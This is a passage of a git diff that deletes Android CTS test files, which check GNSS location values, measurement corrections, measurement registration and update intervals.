-        List<Location> passiveLocations = passiveLocationListener.getReceivedLocationList();
-        validateLocationUpdateInterval(activeLocations, passiveLocations, fixIntervalMillis);
-    }
-
-    private static void validateLocationUpdateInterval(List<Location> activeLocations,
-            List<Location> passiveLocations, int fixIntervalMillis) {
-        // For active locations, consider all fixes.
-        long minFirstFixTimestamp = 0;
-        List<Long> activeDeltas = getTimeBetweenFixes(LocationManager.GPS_PROVIDER,
-                activeLocations, minFirstFixTimestamp);
-
-        // When a test round starts, passive listener shouldn't receive location before active
-        // listener. If this situation occurs, we treat this location as overdue location.
-        // (The overdue location comes from previous test round, it occurs occasionally)
-        // We have to skip it to prevent wrong calculation of time interval.
-        minFirstFixTimestamp = activeLocations.get(0).getTime();
-        List<Long> passiveDeltas = getTimeBetweenFixes(LocationManager.PASSIVE_PROVIDER,
-                passiveLocations, minFirstFixTimestamp);
-
-        SoftAssert softAssert = new SoftAssert(TAG);
-        assertMeanAndStdev(softAssert, LocationManager.GPS_PROVIDER, fixIntervalMillis,
-                activeDeltas, ACTIVE_MIN_MEAN_RATIO);
-        assertMeanAndStdev(softAssert, LocationManager.PASSIVE_PROVIDER, fixIntervalMillis,
-                passiveDeltas, PASSIVE_MIN_MEAN_RATIO);
-        softAssert.assertAll();
-    }
-
-    private static List<Long> getTimeBetweenFixes(String provider, List<Location> locations,
-            long minFixTimestampMillis) {
-        List<Long> deltas = new ArrayList(locations.size());
-        long lastFixTimestamp = -1;
-        int i = 0;
-        for (Location location : locations) {
-            if (!location.getProvider().equals(LocationManager.GPS_PROVIDER)) {
-                continue;
-            }
-
-            final long fixTimestamp = location.getTime();
-            if (fixTimestamp < minFixTimestampMillis) {
-                Log.i(TAG, provider + " provider, ignoring location update from an earlier test");
-                continue;
-            }
-
-            ++i;
-            final long delta = fixTimestamp - lastFixTimestamp;
-            lastFixTimestamp = fixTimestamp;
-            if (i <= NUM_IGNORED_UPDATES) {
-                Log.i(TAG, provider + " provider, ignoring location update with delta: "
-                        + delta + " msecs");
-                continue;
-            }
-
-            deltas.add(delta);
-        }
-
-        return deltas;
-    }
-
-    private static void assertMeanAndStdev(SoftAssert softAssert, String provider,
-            int fixIntervalMillis, List<Long> deltas, double minMeanRatio) {
-        double mean = computeMean(deltas);
-        double stdev = computeStdev(mean, deltas);
-
-        double minMean = fixIntervalMillis * minMeanRatio;
-        softAssert.assertTrue(provider + " provider mean too small: " + mean
-                + " (min: " + minMean + ")", mean >= minMean);
-
-        double maxStdev = Math.max(MIN_STDEV_MS, fixIntervalMillis * ALLOWED_STDEV_ERROR_RATIO);
-        softAssert.assertTrue(provider + " provider stdev too big: "
-                + stdev + " (max: " + maxStdev + ")", stdev <= maxStdev);
-        Log.i(TAG, provider + " provider mean: " + mean);
-        Log.i(TAG, provider + " provider stdev: " + stdev);
-    }
-
-    private static double computeMean(List<Long> deltas) {
-        long accumulator = 0;
-        for (long d : deltas) {
-            accumulator += d;
-        }
-        return accumulator / deltas.size();
-    }
-
-    private static double computeStdev(double mean, List<Long> deltas) {
-        double accumulator = 0;
-        for (long d : deltas) {
-            double diff = d - mean;
-            accumulator += diff * diff;
-        }
-        return Math.sqrt(accumulator / (deltas.size() - 1));
-    }
-}
diff --git a/tests/tests/location/src/android/location/cts/GnssLocationValuesTest.java b/tests/tests/location/src/android/location/cts/GnssLocationValuesTest.java
deleted file mode 100644
index c1b5d00..0000000
--- a/tests/tests/location/src/android/location/cts/GnssLocationValuesTest.java
+++ /dev/null
@@ -1,212 +0,0 @@
-/*
- * Copyright (C) 2017 Google Inc.
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts;
-
-import android.location.Location;
-import android.util.Log;
-
-/**
- * Test the {@link Location} values.
- *
- * Test steps:
- * 1. Register for location updates.
- * 2. Wait for {@link #LOCATION_TO_COLLECT_COUNT} locations.
- *          3.1 Confirm locations have been found.
- * 3. Get LastKnownLocation, verified all fields are in the correct range.
- */
-public class GnssLocationValuesTest extends GnssTestCase {
-
-  private static final String TAG = "GnssLocationValuesTest";
-  private static final int LOCATION_TO_COLLECT_COUNT = 5;
-  private TestLocationListener mLocationListener;
-  private static final int LOCATION_UNCERTIANTY_MIN_YEAR = 2017;
-  private boolean extendedLocationAccuracyExpected = false;
-  // TODO(b/65458848): Re-tighten the limit to 0.001 when sufficient devices in the market comply
-  private static final double MINIMUM_SPEED_FOR_BEARING = 1.000;
-
-  @Override
-  protected void setUp() throws Exception {
-    super.setUp();
-    mTestLocationManager = new TestLocationManager(getContext());
-    extendedLocationAccuracyExpected = true;
-    mLocationListener = new TestLocationListener(LOCATION_TO_COLLECT_COUNT);
-  }
-
-  @Override
-  protected void tearDown() throws Exception {
-    // Unregister listeners
-    if (mLocationListener != null) {
-      mTestLocationManager.removeLocationUpdates(mLocationListener);
-    }
-    super.tearDown();
-  }
-
-  /**
-   * Those accuracy fields are new O-features,
-   * only test them if the hardware is later than 2017
-   */
-  public void testAccuracyFields() throws Exception {
-    // Checks if GPS hardware feature is present, skips test (pass) if not,
-    // and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
-    if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, isCtsVerifierTest())) {
-        return;
-    }
-
-    SoftAssert softAssert = new SoftAssert(TAG);
-    mTestLocationManager.requestLocationUpdates(mLocationListener);
-    boolean success = mLocationListener.await();
-    softAssert.assertTrue(
-        "Time elapsed without getting the GNSS locations."
-            + " Possibly, the test has been run deep indoors."
-            + " Consider retrying test outdoors.",
-        success);
-
-    for (Location location : mLocationListener.getReceivedLocationList()) {
-      checkLocationAccuracyFields(softAssert, location,
-          extendedLocationAccuracyExpected);
-    }
-
-    softAssert.assertAll();
-  }
-
-  public static void checkLocationAccuracyFields(SoftAssert softAssert,
-      Location location, boolean extendedLocationAccuracyExpected) {
-    softAssert.assertTrue("All locations generated by the LocationManager "
-        + "should have a horizontal accuracy.", location.hasAccuracy());
-    if (location.hasAccuracy()) {
-      softAssert.assertTrue("Location Accuracy should be greater than 0.",
-          location.getAccuracy() > 0);
-    }
-
-    if (!extendedLocationAccuracyExpected) {
-      return;
-    }
-    Log.i(TAG, "Logging YEAR_2017 Capability.");
-
-    if (location.hasSpeed() && location.getSpeed() > MINIMUM_SPEED_FOR_BEARING) {
-      softAssert.assertOrWarnTrue(/* strict= */ YEAR_2017_CAPABILITY_ENFORCED,
-              "When speed is greater than 0, all GNSS locations generated by "
-                      + "the LocationManager must have bearing accuracies.",
-              location.hasBearingAccuracy());
-      if (location.hasBearingAccuracy()) {
-        softAssert.assertOrWarnTrue(/* strict= */ YEAR_2017_CAPABILITY_ENFORCED,
-                "Bearing Accuracy should be greater than 0.",
-                location.getBearingAccuracyDegrees() > 0);
-      }
-    }
-
-    softAssert.assertOrWarnTrue(/* strict= */ YEAR_2017_CAPABILITY_ENFORCED,
-            "All GNSS locations generated by the LocationManager "
-                    + "must have a speed accuracy.", location.hasSpeedAccuracy());
-    if (location.hasSpeedAccuracy()) {
-      softAssert.assertOrWarnTrue(/* strict= */ YEAR_2017_CAPABILITY_ENFORCED,
-              "Speed Accuracy should be greater than 0.",
-              location.getSpeedAccuracyMetersPerSecond() > 0);
-    }
-    softAssert.assertOrWarnTrue(/* strict= */ YEAR_2017_CAPABILITY_ENFORCED,
-            "All GNSS locations generated by the LocationManager "
-                    + "must have a vertical accuracy.", location.hasVerticalAccuracy());
-    if (location.hasVerticalAccuracy()) {
-      softAssert.assertOrWarnTrue(/* strict= */ YEAR_2017_CAPABILITY_ENFORCED,
-              "Vertical Accuracy should be greater than 0.",
-              location.getVerticalAccuracyMeters() > 0);
-    }
-  }
-
-  /**
-   * Get the location info from the device
-   * check whether all fields' value make sense
-   */
-  public void testLocationRegularFields() throws Exception {
-    // Checks if GPS hardware feature is present, skips test (pass) if not,
-    // and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
-    if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, isCtsVerifierTest())) {
-        return;
-    }
-
-    SoftAssert softAssert = new SoftAssert(TAG);
-    mTestLocationManager.requestLocationUpdates(mLocationListener);
-    boolean success = mLocationListener.await();
-    softAssert.assertTrue(
-        "Time elapsed without getting the GNSS locations."
-            + " Possibly, the test has been run deep indoors."
-            + " Consider retrying test outdoors.",
-        success);
-
-    // don't check speed of first GNSS location - it may not be ready in some cases
-    boolean checkSpeed = false;
-    for (Location location : mLocationListener.getReceivedLocationList()) {
-      checkLocationRegularFields(softAssert, location, checkSpeed);
-      checkSpeed = true;
-    }
-
-    softAssert.assertAll();
-  }
-
-  public static void checkLocationRegularFields(SoftAssert softAssert, Location location,
-                                                boolean checkSpeed) {
-    // For the altitude: the unit is meter
-    // The lowest exposed land on Earth is at the Dead Sea shore, at -413 meters.
-    // Whilst University of Tokyo Atacama Obsevatory is on 5,640m above sea level.
-
-    softAssert.assertTrue("All GNSS locations generated by the LocationManager "
-        + "must have altitudes.", location.hasAltitude());
-    if(location.hasAltitude()) {
-      softAssert.assertTrue("Altitude should be greater than -500 (meters).",
-          location.getAltitude() >= -500);
-      softAssert.assertTrue("Altitude should be less than 6000 (meters).",
-          location.getAltitude() < 6000);
-    }
-
-    // It is guaranteed to be in the range [0.0, 360.0] if the device has a bearing.
-    // The API will return 0.0 if there is no bearing
-    if (location.hasSpeed() && location.getSpeed() > MINIMUM_SPEED_FOR_BEARING) {
-      softAssert.assertTrue("When speed is greater than 0, all GNSS locations generated by "
-        + "the LocationManager must have bearings.", location.hasBearing());
-      if(location.hasBearing()) {
-        softAssert.assertTrue("Bearing should be in the range of [0.0, 360.0]",
-            location.getBearing() >= 0 && location.getBearing() <= 360);
-      }
-    }
-
-    softAssert.assertTrue("ElapsedRaltimeNanos should be great than 0.",
-        location.getElapsedRealtimeNanos() > 0);
-
-    assertEquals("gps", location.getProvider());
-    assertTrue(location.getTime() > 0);
-
-    softAssert.assertTrue("Longitude should be in the range of [-180.0, 180.0] degrees",
-        location.getLongitude() >= -180 && location.getLongitude() <= 180);
-
-    softAssert.assertTrue("Latitude should be in the range of [-90.0, 90.0] degrees",
-        location.getLatitude() >= -90 && location.getLatitude() <= 90);
-
-    if (checkSpeed) {
-      softAssert.assertTrue("All but the first GNSS location from LocationManager "
-              + "must have speeds.", location.hasSpeed());
-    }
-
-    // For the speed, during the cts test device shouldn't move faster than 1m/s, but allowing up
-    // to 5m/s for possible early fix noise in moderate signal test environments
-    if(location.hasSpeed()) {
-      softAssert.assertTrue("In the test enviorment, speed should be in the range of [0, 5] m/s",
-          location.getSpeed() >= 0 && location.getSpeed() <= 5);
-    }
-
-  }
-
-}
diff --git a/tests/tests/location/src/android/location/cts/GnssMeasurementCorrectionsTest.java b/tests/tests/location/src/android/location/cts/GnssMeasurementCorrectionsTest.java
deleted file mode 100644
index 070e229..0000000
--- a/tests/tests/location/src/android/location/cts/GnssMeasurementCorrectionsTest.java
+++ /dev/null
@@ -1,116 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts;
-
-import android.location.GnssMeasurementCorrections;
-import android.location.GnssReflectingPlane;
-import android.location.GnssSingleSatCorrection;
-import android.location.cts.GnssSingleSatCorrectionsTest;
-import android.location.GnssStatus;
-import android.os.Parcel;
-
-import junit.framework.TestCase;
-
-import java.util.ArrayList;
-import java.util.List;
-
-/** Unit tests for {@link GnssMeasurementCorrections}. */
-public class GnssMeasurementCorrectionsTest extends TestCase {
-    public void testDescribeContents() {
-        GnssMeasurementCorrections.Builder measurementCorrectionsBuilder =
-                new GnssMeasurementCorrections.Builder();
-        setTestValues(measurementCorrectionsBuilder);
-        measurementCorrectionsBuilder.build().describeContents();
-    }
-
-    public void testWriteToParcel() {
-        GnssMeasurementCorrections.Builder measurementCorrections =
-                new GnssMeasurementCorrections.Builder();
-        setTestValues(measurementCorrections);
-        Parcel parcel = Parcel.obtain();
-        measurementCorrections.build().writeToParcel(parcel, 0);
-        parcel.setDataPosition(0);
-        GnssMeasurementCorrections newMeasurementCorrection =
-                GnssMeasurementCorrections.CREATOR.createFromParcel(parcel);
-        verifyTestValues(newMeasurementCorrection);
-        parcel.recycle();
-    }
-
-    private static void verifyTestValues(GnssMeasurementCorrections measurementCorrections) {
-        assertEquals(37.386051, measurementCorrections.getLatitudeDegrees());
-        assertEquals(-122.083855, measurementCorrections.getLongitudeDegrees());
-        assertEquals(32.0, measurementCorrections.getAltitudeMeters());
-        assertEquals(9.25, measurementCorrections.getHorizontalPositionUncertaintyMeters());
-        assertEquals(2.3, measurementCorrections.getVerticalPositionUncertaintyMeters());
-        assertEquals(604000000000000L, measurementCorrections.getToaGpsNanosecondsOfWeek());
-
-        GnssSingleSatCorrection singleSatCorrection =
-                measurementCorrections.getSingleSatelliteCorrectionList().get(0);
-        GnssSingleSatCorrectionsTest.verifyTestValues(singleSatCorrection);
-
-        singleSatCorrection = measurementCorrections.getSingleSatelliteCorrectionList().get(1);
-        assertEquals(15, singleSatCorrection.getSingleSatelliteCorrectionFlags());
-        assertEquals(GnssStatus.CONSTELLATION_GPS, singleSatCorrection.getConstellationType());
-        assertEquals(11, singleSatCorrection.getSatelliteId());
-        assertEquals(1575430000f, singleSatCorrection.getCarrierFrequencyHz());
-        assertEquals(0.9f, singleSatCorrection.getProbabilityLineOfSight());
-        assertEquals(50.0f, singleSatCorrection.getExcessPathLengthMeters());
-        assertEquals(55.0f, singleSatCorrection.getExcessPathLengthUncertaintyMeters());
-        GnssReflectingPlane reflectingPlane = singleSatCorrection.getReflectingPlane();
-        assertEquals(37.386054, reflectingPlane.getLatitudeDegrees());
-        assertEquals(-122.083855, reflectingPlane.getLongitudeDegrees());
-        assertEquals(120.0, reflectingPlane.getAltitudeMeters());
-        assertEquals(153.0, reflectingPlane.getAzimuthDegrees());
-    }
-
-    private static void setTestValues(GnssMeasurementCorrections.Builder measurementCorrections) {
-        measurementCorrections
-                .setLatitudeDegrees(37.386051)
-                .setLongitudeDegrees(-122.083855)
-                .setAltitudeMeters(32)
-                .setHorizontalPositionUncertaintyMeters(9.25)
-                .setVerticalPositionUncertaintyMeters(2.3)
-                .setToaGpsNanosecondsOfWeek(604000000000000L);
-        List<GnssSingleSatCorrection> singleSatCorrectionList = new ArrayList<>();
-        singleSatCorrectionList.add(GnssSingleSatCorrectionsTest.generateTestSingleSatCorrection());
-        singleSatCorrectionList.add(generateTestSingleSatCorrection());
-        measurementCorrections.setSingleSatelliteCorrectionList(singleSatCorrectionList);
-    }
-
-    private static GnssSingleSatCorrection generateTestSingleSatCorrection() {
-        GnssSingleSatCorrection.Builder singleSatCorrection = new GnssSingleSatCorrection.Builder();
-        singleSatCorrection
-                .setConstellationType(GnssStatus.CONSTELLATION_GPS)
-                .setSatelliteId(11)
-                .setCarrierFrequencyHz(1575430000f)
-                .setProbabilityLineOfSight(0.9f)
-                .setExcessPathLengthMeters(50.0f)
-                .setExcessPathLengthUncertaintyMeters(55.0f)
-                .setReflectingPlane(generateTestReflectingPlane());
-        return singleSatCorrection.build();
-    }
-
-    private static GnssReflectingPlane generateTestReflectingPlane() {
-        GnssReflectingPlane.Builder reflectingPlane =
-                new GnssReflectingPlane.Builder()
-                        .setLatitudeDegrees(37.386054)
-                        .setLongitudeDegrees(-122.083855)
-                        .setAltitudeMeters(120.0)
-                        .setAzimuthDegrees(153);
-        return reflectingPlane.build();
-    }
-}
diff --git a/tests/tests/location/src/android/location/cts/GnssMeasurementRegistrationTest.java b/tests/tests/location/src/android/location/cts/GnssMeasurementRegistrationTest.java
deleted file mode 100644
index b6f44a1..0000000
--- a/tests/tests/location/src/android/location/cts/GnssMeasurementRegistrationTest.java
+++ /dev/null
@@ -1,130 +0,0 @@
-/*
- * Copyright (C) 2015 Google Inc.
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts;
-
-import android.location.GnssStatus;
-import android.location.GnssMeasurement;
-import android.location.GnssMeasurementsEvent;
-import android.util.Log;
-
-import java.util.List;
-
-/**
- * Test for {@link GnssMeasurement}s without location registration.
- *
- * Test steps:
- * 1. Register a listener for {@link GnssMeasurementsEvent}s.
- * 2. Check {@link GnssMeasurementsEvent} status: if the status is not
- *    {@link GnssMeasurementsEvent#STATUS_READY}, the test will be skipped because one of the
- *    following reasons:
- *          2.1 the device does not support the feature,
- *          2.2 GPS is disabled in the device,
- *          2.3 Location is disabled in the device.
- * 3. If at least one {@link GnssMeasurementsEvent} is received, the test will pass.
- * 2. If no {@link GnssMeasurementsEvent} are received, then check whether the device is deep indoor.
- *    This is done by performing the following steps:
- *          2.1 Register for location updates, and {@link GnssStatus} events.
- *          2.2 Wait for {@link TestGnssStatusCallback#TIMEOUT_IN_SEC}.
- *          2.3 If no {@link GnssStatus} is received this will mean that the device is located
- *              indoor. Test will be skipped.
- *          2.4 If we receive a {@link GnssStatus}, it mean that {@link GnssMeasurementsEvent}s are
- *              provided only if the application registers for location updates as well:
- *                  2.4.1 The test will pass with a warning for the M release.
- *                  2.4.2 The test might fail in a future Android release, when this requirement
- *                        becomes mandatory.
- */
-public class GnssMeasurementRegistrationTest extends GnssTestCase {
-
-    private static final String TAG = "GnssMeasRegTest";
-    private static final int EVENTS_COUNT = 5;
-    private static final int GPS_EVENTS_COUNT = 1;
-    private TestLocationListener mLocationListener;
-    private TestGnssMeasurementListener mMeasurementListener;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
-        mTestLocationManager = new TestLocationManager(getContext());
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        // Unregister listeners
-        if (mLocationListener != null) {
-            mTestLocationManager.removeLocationUpdates(mLocationListener);
-        }
-        if (mMeasurementListener != null) {
-            mTestLocationManager.unregisterGnssMeasurementCallback(mMeasurementListener);
-        }
-        super.tearDown();
-    }
-
-    /**
-     * Test GPS measurements registration.
-     */
-    public void testGnssMeasurementRegistration() throws Exception {
-        // Checks if GPS hardware feature is present, skips test (pass) if not,
-        // and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
-        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager,
-                isCtsVerifierTest())) {
-            return;
-        }
-
-        // Register for GPS measurements.
-        mMeasurementListener = new TestGnssMeasurementListener(TAG, GPS_EVENTS_COUNT);
-        mTestLocationManager.registerGnssMeasurementCallback(mMeasurementListener);
-
-        mMeasurementListener.await();
-        if (!mMeasurementListener.verifyStatus()) {
-            // If test is strict verifyStatus will assert conditions are good for further testing.
-            // Else this returns false and, we arrive here, and then return from here (pass.)
-            return;
-        }
-
-        List<GnssMeasurementsEvent> events = mMeasurementListener.getEvents();
-        Log.i(TAG, "Number of GnssMeasurement events received = " + events.size());
-
-        if (!events.isEmpty()) {
-           // Test passes if we get at least 1 pseudorange.
-           Log.i(TAG, "Received GPS measurements. Test Pass.");
-           return;
-        }
-
-        SoftAssert.failAsWarning(
-                TAG,
-                "GPS measurements were not received without registering for location updates. "
-                + "Trying again with Location request.");
-
-        // Register for location updates.
-        mLocationListener = new TestLocationListener(EVENTS_COUNT);
-        mTestLocationManager.requestLocationUpdates(mLocationListener);
-
-        // Wait for location updates
-        mLocationListener.await();
-        Log.i(TAG, "Location received = " + mLocationListener.isLocationReceived());
-
-        events = mMeasurementListener.getEvents();
-        Log.i(TAG, "Number of GnssMeasurement events received = " + events.size());
-
-        SoftAssert softAssert = new SoftAssert(TAG);
-        softAssert.assertTrue(
-                "Did not receive any GnssMeasurement events.  Retry outdoors?",
-                !events.isEmpty());
-        softAssert.assertAll();
-    }
-}
diff --git a/tests/tests/location/src/android/location/cts/GnssMeasurementTest.java b/tests/tests/location/src/android/location/cts/GnssMeasurementTest.java
deleted file mode 100644
index 355f9b7..0000000
--- a/tests/tests/location/src/android/location/cts/GnssMeasurementTest.java
+++ /dev/null
@@ -1,126 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts;
-
-import android.location.GnssMeasurement;
-import android.location.GnssStatus;
-import android.os.Parcel;
-
-public class GnssMeasurementTest extends GnssTestCase {
-    public void testDescribeContents() {
-        GnssMeasurement measurement = new GnssMeasurement();
-        measurement.describeContents();
-    }
-
-    public void testReset() {
-        GnssMeasurement measurement = new GnssMeasurement();
-        measurement.reset();
-    }
-
-    private static void setTestValues(GnssMeasurement measurement) {
-        measurement.setAccumulatedDeltaRangeMeters(1.0);
-        measurement.setAccumulatedDeltaRangeState(2);
-        measurement.setAccumulatedDeltaRangeUncertaintyMeters(3.0);
-        measurement.setCarrierCycles(4);
-        measurement.setCarrierFrequencyHz(5.0f);
-        measurement.setCarrierPhase(6.0);
-        measurement.setCarrierPhaseUncertainty(7.0);
-        measurement.setCn0DbHz(8.0);
-        measurement.setCodeType("C");
-        measurement.setConstellationType(GnssStatus.CONSTELLATION_GALILEO);
-        measurement.setMultipathIndicator(GnssMeasurement.MULTIPATH_INDICATOR_DETECTED);
-        measurement.setPseudorangeRateMetersPerSecond(9.0);
-        measurement.setPseudorangeRateUncertaintyMetersPerSecond(10.0);
-        measurement.setReceivedSvTimeNanos(11);
-        measurement.setReceivedSvTimeUncertaintyNanos(12);
-        measurement.setSnrInDb(13.0);
-        measurement.setState(14);
-        measurement.setSvid(15);
-        measurement.setTimeOffsetNanos(16.0);
-    }
-
-    private static void verifyTestValues(GnssMeasurement measurement) {
-        assertEquals(1.0, measurement.getAccumulatedDeltaRangeMeters());
-        assertEquals(2, measurement.getAccumulatedDeltaRangeState());
-        assertEquals(3.0, measurement.getAccumulatedDeltaRangeUncertaintyMeters());
-        assertEquals(4, measurement.getCarrierCycles());
-        assertEquals(5.0f, measurement.getCarrierFrequencyHz());
-        assertEquals(6.0, measurement.getCarrierPhase());
-        assertEquals(7.0, measurement.getCarrierPhaseUncertainty());
-        assertEquals(8.0, measurement.getCn0DbHz());
-        assertEquals(GnssStatus.CONSTELLATION_GALILEO, measurement.getConstellationType());
-        assertEquals(GnssMeasurement.MULTIPATH_INDICATOR_DETECTED,
-                measurement.getMultipathIndicator());
-        assertEquals("C", measurement.getCodeType());
-        assertEquals(9.0, measurement.getPseudorangeRateMetersPerSecond());
-        assertEquals(10.0, measurement.getPseudorangeRateUncertaintyMetersPerSecond());
-        assertEquals(11, measurement.getReceivedSvTimeNanos());
-        assertEquals(12, measurement.getReceivedSvTimeUncertaintyNanos());
-        assertEquals(13.0, measurement.getSnrInDb());
-        assertEquals(14, measurement.getState());
-        assertEquals(15, measurement.getSvid());
-        assertEquals(16.0, measurement.getTimeOffsetNanos());
-    }
-
-    public void testWriteToParcel() {
-        GnssMeasurement measurement = new GnssMeasurement();
-        setTestValues(measurement);
-        Parcel parcel = Parcel.obtain();
-        measurement.writeToParcel(parcel, 0);
-        parcel.setDataPosition(0);
-        GnssMeasurement newMeasurement = GnssMeasurement.CREATOR.createFromParcel(parcel);
-        verifyTestValues(newMeasurement);
-        parcel.recycle();
-    }
-
-    public void testSet() {
-        GnssMeasurement measurement = new GnssMeasurement();
-        setTestValues(measurement);
-        GnssMeasurement newMeasurement = new GnssMeasurement();
-        newMeasurement.set(measurement);
-        verifyTestValues(newMeasurement);
-    }
-
-    public void testSetReset() {
-        GnssMeasurement measurement = new GnssMeasurement();
-        setTestValues(measurement);
-
-        assertTrue(measurement.hasCarrierCycles());
-        measurement.resetCarrierCycles();
-        assertFalse(measurement.hasCarrierCycles());
-
-        assertTrue(measurement.hasCarrierFrequencyHz());
-        measurement.resetCarrierFrequencyHz();
-        assertFalse(measurement.hasCarrierFrequencyHz());
-
-        assertTrue(measurement.hasCarrierPhase());
-        measurement.resetCarrierPhase();
-        assertFalse(measurement.hasCarrierPhase());
-
-        assertTrue(measurement.hasCarrierPhaseUncertainty());
-        measurement.resetCarrierPhaseUncertainty();
-        assertFalse(measurement.hasCarrierPhaseUncertainty());
-
-        assertTrue(measurement.hasSnrInDb());
-        measurement.resetSnrInDb();
-        assertFalse(measurement.hasSnrInDb());
-
-        assertTrue(measurement.hasCodeType());
-        measurement.resetCodeType();
-        assertFalse(measurement.hasCodeType());
-    }
-}
diff --git a/tests/tests/location/src/android/location/cts/GnssMeasurementValuesTest.java b/tests/tests/location/src/android/location/cts/GnssMeasurementValuesTest.java
deleted file mode 100644
index 1f9f911..0000000
--- a/tests/tests/location/src/android/location/cts/GnssMeasurementValuesTest.java
+++ /dev/null
@@ -1,171 +0,0 @@
-/*
- * Copyright (C) 2015 Google Inc.
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts;
-
-import android.location.GnssMeasurement;
-import android.location.GnssMeasurementsEvent;
-import android.util.Log;
-
-import java.util.HashSet;
-import java.util.List;
-import java.util.Set;
-
-/**
- * Test the {@link GnssMeasurement} values.
- *
- * Test steps:
- * 1. Register for location updates.
- * 2. Register a listener for {@link GnssMeasurementsEvent}s.
- * 3. Wait for {@link #LOCATION_TO_COLLECT_COUNT} locations.
- *          3.1 Confirm locations have been found.
- * 4. Check {@link GnssMeasurementsEvent} status: if the status is not
- *    {@link GnssMeasurementsEvent.Callback#STATUS_READY}, the test will be skipped because
- *    one of the following reasons:
- *          4.1 the device does not support the GPS feature,
- *          4.2 GPS Location is disabled in the device and this is CTS (non-verifier)
- *  5. Verify {@link GnssMeasurement}s (all mandatory fields), the test will fail if any of the
- *     mandatory fields is not populated or in the expected range.
- */
-public class GnssMeasurementValuesTest extends GnssTestCase {
-
-    private static final String TAG = "GnssMeasValuesTest";
-    private static final int LOCATION_TO_COLLECT_COUNT = 20;
-
-    private TestGnssMeasurementListener mMeasurementListener;
-    private TestLocationListener mLocationListener;
-    // Store list of Satellites including Gnss Band, constellation & SvId
-    private Set<String> mGnssMeasSvStringIds;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
-        mTestLocationManager = new TestLocationManager(getContext());
-        mGnssMeasSvStringIds = new HashSet<>();
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        // Unregister listeners
-        if (mLocationListener != null) {
-            mTestLocationManager.removeLocationUpdates(mLocationListener);
-        }
-        if (mMeasurementListener != null) {
-            mTestLocationManager.unregisterGnssMeasurementCallback(mMeasurementListener);
-        }
-        super.tearDown();
-    }
-
-    /**
-     * Tests that one can listen for {@link GnssMeasurementsEvent} for collection purposes.
-     * It only performs sanity checks for the measurements received.
-     * This tests uses actual data retrieved from GPS HAL.
-     */
-    public void testListenForGnssMeasurements() throws Exception {
-        // Checks if GPS hardware feature is present, skips test (pass) if not,
-        // and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
-        if (!TestMeasurementUtil
-                .canTestRunOnCurrentDevice(mTestLocationManager, isCtsVerifierTest())) {
-            return;
-        }
-
-        mLocationListener = new TestLocationListener(LOCATION_TO_COLLECT_COUNT);
-        mTestLocationManager.requestLocationUpdates(mLocationListener);
-
-        mMeasurementListener = new TestGnssMeasurementListener(TAG);
-        mTestLocationManager.registerGnssMeasurementCallback(mMeasurementListener);
-
-        // Register a status callback to enable checking Svs across status & measurements.
-        // Count in status callback is not important as this test is pass/fail based on
-        // measurement count, not status count.
-        TestGnssStatusCallback gnssStatusCallback = new TestGnssStatusCallback(TAG, 0);
-        mTestLocationManager.registerGnssStatusCallback(gnssStatusCallback);
-
-        SoftAssert softAssert = new SoftAssert(TAG);
-        boolean success = mLocationListener.await();
-        softAssert.assertTrue(
-                "Time elapsed without getting enough location fixes."
-                        + " Possibly, the test has been run deep indoors."
-                        + " Consider retrying test outdoors.",
-                success);
-        mTestLocationManager.unregisterGnssStatusCallback(gnssStatusCallback);
-
-        Log.i(TAG, "Location status received = " + mLocationListener.isLocationReceived());
-
-        if (!mMeasurementListener.verifyStatus()) {
-            // If test is strict and verifyStatus returns false, an assert exception happens and
-            // test fails.   If test is not strict, we arrive here, and:
-            return; // exit (with pass)
-        }
-
